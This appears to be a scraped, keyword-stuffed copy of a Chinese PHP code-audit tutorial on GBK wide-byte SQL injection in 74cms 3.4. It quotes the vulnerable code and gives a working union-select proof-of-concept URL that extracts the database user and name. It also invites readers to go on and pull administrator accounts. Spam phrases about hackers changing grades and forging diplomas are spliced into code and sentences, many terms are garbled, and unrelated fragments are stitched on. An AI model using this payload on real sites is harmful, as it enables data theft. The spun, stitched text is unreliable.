黑客改动文凭经典案例-【PHP代码审计入门教程】5.全局性安全防护Bypass之宽字节注入
更先大家掌握下宽字节注入,宽字节注入来源于程序猿设定MySQL联接时不正确配备为:set character_set_client=gbk,那样配备会引起编码转换进而造成 的注入系统漏洞。实际原理以下:
1.一切正常状况下当GPC打开或应用addslashes函数过虑GET或POST递交的主要参数时,黑客应用的单引号 ‘ 便会被转义为: \\’;
2.但假如存有宽字节注入,大家黑客改考试成绩有取得成功的吗键入?'时更先历经上边提及的单引号转义变成了?\\'(\\是反斜杠\\),以后在数据库前因为应用了GBK多字节编号,即在汉字编码范畴内2个字节会被编号为一个中国汉字。随后MySQL *** 服务器会对查看句子开展GBK编号即?\\转化成了中国汉字“運”(注:GBK的汉字编码范畴见附则),而单引号肇事逃逸了出去,进而导致了注入系统漏洞。
如今大部分都是会将mysql的联接配备为“set character_set_client=binary”来处理这一问黑客改考试成绩有取得成功的吗题,因此 本文将详细介绍出現在php中由于字符编码造成 的注入难题。
构思来自FreeBuf:http://www.freebuf.com/articles/web/31537.html
系统漏洞来自黑云:http://www.wooyun.org/bugs/wooyun-2014-063219
0x02 自然环境构建
看情况大家应用了低版的74cms程序流程,版本号为3.4(20140310)
①源码网上能够搜到,我装包了一份:黑客改考试成绩有取得成功的吗http://pan.baidu.com/s/1c1米LCru
②缓解压力到www的74cms(20140310)文件目录下,电脑浏览器浏览http://localhost/74cms(20140310)),随后依照提醒一步步安裝就可以,安裝碰到难题请自主百度搜索或Google,取得成功后浏览如下图:
0x03 黑客改考试成绩有取得成功的吗 系统漏洞剖析
Part1:源代码构造
源代码的构造较为清楚,应该是财务审计过最清楚的构造了,关键有下边三块內容:
index.php导入了common.inc.php文件,大家跟踪common.inc.php,发觉了解决gpc的涵数:
if (!empty($_GET))
{ $_GET = addslashes_deep($_GET);
}if 黑客改考试成绩有取得成功的吗 (!empty($_POST))
{ $_POST = addslashes_deep($_POST);
}$_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST);
能够见到,服务器端解决GET和POST要求的自变量时都是会做addslashes解决。
并且74cms为了更好地避免 宽字节注入,将MySQL连接设置为二进制载入,配备在/include/mysql.class.php中:
function 黑客改考试成绩有取得成功的吗 connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){ $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){ $this->dbshow('Can 黑客改考试成绩有取得成功的吗 not connect to Mysql!');
}else{
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
黑客改考试成绩有取得成功的吗 mysql_query("SET sql_mode = ''",$this->linkid);
//character_set_client=binary即二进制 ***
mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", 黑客改考试成绩有取得成功的吗 character_set_client=binary", $this->linkid);
}
}
}
接下去看看php中iconv涵数的应用会导致哪些的不良影响。
Part2:财务审计全过程
注入一剖析:
1.在/plus/ajax_user.php登记处:
elseif ($act=='do_reg')
{ 黑客改考试成绩有取得成功的吗 $captcha=get_cache('captcha');
if ($captcha['verify_userreg']=="1")
{ $postcaptcha=$_POST['postcaptcha'];
if ($captcha['captcha_lang']=="cn" && strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{ 黑客改考试成绩有取得成功的吗 $postcaptcha=iconv("utf-8",QISHI_DBCHARSET,$postcaptcha);
}
if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
{
exit("err");
}
}
require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $username = isset($_POST['username'])?trim($_POST['username']):exit("err"); $password = isset($_POST['password'])?trim($_POST['password']):exit("err"); 黑客改考试成绩有取得成功的吗 $member_type = isset($_POST['member_type'])?intval($_POST['member_type']):exit("err"); $email = isset($_POST['email'])?trim($_POST['email']):exit("err");
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
//对申请注册的姓名开展utf-黑客改考试成绩有取得成功的吗8到GBK的编码转换 $username=iconv("utf-8",QISHI_DBCHARSET,$username); $password=iconv("utf-8",QISHI_DBCHARSET,$password);
}$register=user_register($username,$password,$member_type,$email);
这儿大家思索下“錦”这个字,它的utf-8编号是e98ca6,它的gbk编码是e55c,而上边提及过反斜杠\\恰好为5c。
因此 如果我们将username设定为:錦’,更先历经addlashes涵数或GPC对单引号转义变成:錦\\’,随后这儿申请注册的时候会历经icnov涵数会对”錦”转换为gbk编码,最终便是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),进而单引号肇事逃逸出去引起注入系统漏洞。
2.大家再次跟踪$register=user_register($username,$password,$member_type,$email);
这儿的user_register涵数,在/include/fun_user.php里:
//查验个人简历的进行水平
//会员注册 黑客改考试成绩有取得成功的吗 function user_register($username,$password,$member_type=0,$email,$uc_reg=true)
{
global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash; $黑客改考试成绩有取得成功的吗member_type=intval($member_type);
//这儿是用get_user_inusername涵数来分辨登录名是不是早已存有,大家跟踪 $ck_username=get_user_inusername($username); $ck_email=get_user_inemail($email);
... ...
return $insert_id;
}
3.再次跟踪get_user_inusername涵数,在/include/fun_user.php里:
function 黑客改考试成绩有取得成功的吗 get_user_inusername($username)
{
global $db;
//带到查看,可注入~ $sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";
return 黑客改考试成绩有取得成功的吗 $db->getone($sql);
}
注入二剖析:
在plus /ajax_street.php中:
elseif($act == 'key')
{ $key=trim($_GET['key']);
if (!empty($key))
{
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
//对参数key进行utf-8到GBK编码的转换 黑客改成绩有成功的吗 $key=iconv("utf-8",QISHI_DBCHARSET,$key);
//带入查询,可以注入 $result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");
//将查询结果输出到页面中,可回显
while($row = $db->fetch_array($result))
{
黑客改成绩有成功的吗 if ($listtype=="li")
{ $htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>";
}
else
{
黑客改成绩有成功的吗 $_GET['streetid']=$row['c_id']; $url=url_rewrite('QS_street',$_GET); $htm.="<li><a href=\"{$url}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>黑客改成绩有成功的吗";
};
}
if (empty($htm))
{ $htm="<span class=\"noinfo\">没有找到关键字: <span>{$key}</span> 相关道路!</span>";
}
exit($htm);
}
}
这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。
0x04 黑客改成绩有成功的吗 漏洞证明
我们使用注入二(有回显)的来做证明
发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:
http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(黑客改成绩有成功的吗),9%23
最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。
附GBK的汉字编码范围:
汉字区包括:
a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。
b. GB 13000.1 扩充汉字区。包括:
黑客改成绩有成功的吗(1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。
(2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 黑客改成绩有成功的吗 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。
可以看到,GBK编码中的两个字符是一个汉字,之一个字符需要大于128。
if(OBJECT_ID('tempdb..#view_class')>0)droptable#view_class--将只有一个记录的数据放入临时表selectclassname,cweeks,ctimes,roomname。黑客修改学历成功案例
怎么样可以找到黑客帮忙就目前而言,只要黑客的行为伤及到大多数人的切身利益,造成各方面极大损失,公安机关特别是网警一方面如果技术成熟,就可以实施逮捕计划,轻 *** 事处罚重则。
黑客修改学历成功案例2001年04月01日,美国一架海军EP-3侦察机在中国海南岛东南海域上空活动,中方两架军用飞机对其进行跟踪监视。北京时间上午9时07分黑客改成绩有成功的吗,当中方飞机在海南岛东南。
一般是通过病毒的。那个很厉害的食猫鼠就是这样啊,感染后hacker就能通过这个木马远程控制电脑。所以说它是年度最强木马嘛。 黑客改成绩有成功的吗 这个最强木马,当然也很难查杀。
我也被拉黑两次,移除一次,希望渺茫了。对快手失去信心了。黑客修改学历成功案例
哥们:首先,vmwareworkstation最新免费版本已经到12啦你提出这个问题,说明你已经会使用workstation,在workstation上新建虚拟机,挂载上xp的ISO镜像文件,一、前期准备1安装好vmwareworkstation,这个软件网上有很多,下一个汉化版的,安装,安装比较简单,安装完成后如下图所示:2汉化的需要专门装一个汉化。
黑客修改学历成功案例《穆赫兰道》:公认史上最难懂的电影!据说40%的人从电影一开始就理解错误,还有50%的人从头到尾都不知道电影想要表现什么。看懂这部电影,请先熟读大师。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。